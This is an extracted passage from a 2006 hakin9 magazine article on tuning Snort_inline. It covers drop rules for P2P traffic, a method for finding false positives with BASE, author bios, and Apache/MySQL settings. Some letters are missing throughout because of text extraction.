Such rules are divided by action
types. So we have for instance:
fle search on a eDonkey net-
work:
drop udp $HOME_NET any ->
$EXTERNAL_NET 4660:4799
(msg: "BLEEDING-EDGE P2P
eDonkey Search"; content:
"|e3 0e|";
offset: 0; depth: 2;
rawbytes;classtype:
policy-violation;
reference:url,
www.edonkey.com;
sid: 2001305; rev:3;
)
the bittorrent traffc:
drop tcp $HOME_NET any ->
$EXTERNAL_NET any (msg:
"BLEEDING-EDGE P2P
BitTorrent Traffc";
fow:
established;
content:
"|0000400907000000|";
offset: 0; depth: 8;
reference:
url,bitconjurer.org/BitTorrent/
protocol.html;
classtype: policy-violation;
sid: 2000357; rev:3; )
Figure 6. Tables showing Snort's
performances with pmgraph
Setting a device for particular enviornment
hakin9 2/2006 www.hakin9.org 33
request of a Gnutella client:
drop tcp $HOME_NET any ->
$EXTERNAL_NET any (msg:
"P2P GNUTella client request";
fow:to_server,established;
content: "GNUTELLA"; depth:8;
classtype:policy-violation;
sid:1432; rev:6;)
It is not always possible to completely
stop the traffc generated by a P2P
client, in fact, tests have proved that
the eMule program cannot block the
kad network; whereas bittorrent is only
limited in the band usage. Though this
solution cannot blocked completely
these programs, enabling these rules
will generate continuous failures that
will discourage those using fle sharing
applications.
Detection of false
positives: a systematic
approach (using BASE)
Now we will create a method to
detect false positives. We will de-
scribe three different scenarios:
false positive in web navigation;
false positive in failed mail; general
false positive.
In the frst instance, we need to
know the host's source IP address
which fnds a failure, then through
the basic web interface and by ex-
ploiting the search option, we will
select IP critheria and enter the IP
address in round brackets and fnally
search it in the notifcations. We will
fnd an alert (that generated a drop)
and we can choose between 2 type
of solutions:
disable the rules concerning the
false positive,
add the source IP address in the
variable defned in the snort _
inline.conf fle as homenet.
Through the pmgaph tool, we are
able to know the device's traffc and
performance statistics. A remark-
able table is the one which repre-
sents the CPU load that can lead
to false positives (in case of values
higher than 70% of usage) which
were not detected by the security
engine BASE.
Other important information for
fnding false positives are the attacks
by second. If this table shows values
higher than 15 per second, then we
have one of the two following cases:
A false positive; B attack targeted
to a network host. The most useful
feature is the table representing the
blocked content created by security
engine. Thanks to BASE we are able
to view the details of an attack and
the plain text option is very useful to
read the intercepted traffc in ASCII
format. It is not possible to view the
RAM space through a web graphical
tool.
This feature is particularly im-
portant if we want to enbale large
amounts of rules. To prevent our
machine from crashing or generating
false positives, we recommend you
optimize the rules and daemons as
Apache or MySQL (see Listing 10).
Conclusion
To conclude, Snort_inline is an ef-
fcient method to face an extremely
dangerous network environment. It is
not the solution to all evils but rather
a well-structured security application if
implemented according to your needs.
With Snort the rule according to
which enabling everything makes
my computer safer does not apply
because behind every rule there
can be a false positive that will block
innocent activity and generate other
problems. l
About the authors
Pierpaolo Palazzoli works in the security feld and graduated in Telecom Engineering
from the Politecnico of Milan, in Italy. He's been working on Snort for fve years. Matteo
Valenza works in the IT sector as a system administrator. He's been working on Snort for
a year. Snortattack.org is the result of the collaboration and knowledge sharing between
Matteo and Paolo. It appeared on the Internet six months ago, but was conceived by the
Team two years ago. Its strengths relies on the user guides and scripts to install Snort
written in Italian and English. It also has an active discussion board and a mailing list. With
Snortattack.org, Pierpaolo and Matteo intend to build a Snort User Group aimed at shar-
ing ideas on the program for Italian and worldwide users. Visit: www.snortattack.org.
On the Net
http://www.snort.org Snort,
http://snort-inline.sourceforge.net Snort_inline,
http://secureideas.sourceforge.net Base,
http://speakeasy.wpi.edu/placid PLACID,
http://oinkmaster.sourceforge.net Oinkmaster,
http://sourceforge.net/projects/srram SRRAM,
http://people.su.se/~andreaso/perfmon-graph pmgraph
http://fedora.redhat.com Fedora,
http://www.debian.org Debian,
http://www.mamboserver.com Mambo,
http://www.clamav.net ClamAV,
http://www.bleedingsnort.com Bleedingsnort,
http://www.snortattack.org Snortattack.
Listing 10. Recommended
confguration of httpd.conf and
my.cnf
httpd.conf:
MinSpareServers 3
MaxSpareServers 6
StartServers 1
MaxClients 15
MaxRequestsPerChild 10
my.cnf :
key_buffer = 4M
max_allowed_packet = 4M
thread_stack = 32K
query_cache_limit = 104857
query_cache_size = 1677721
query_cache_type = 1
max_allowed_packet = 4M
key_buffer = 4M

You might also like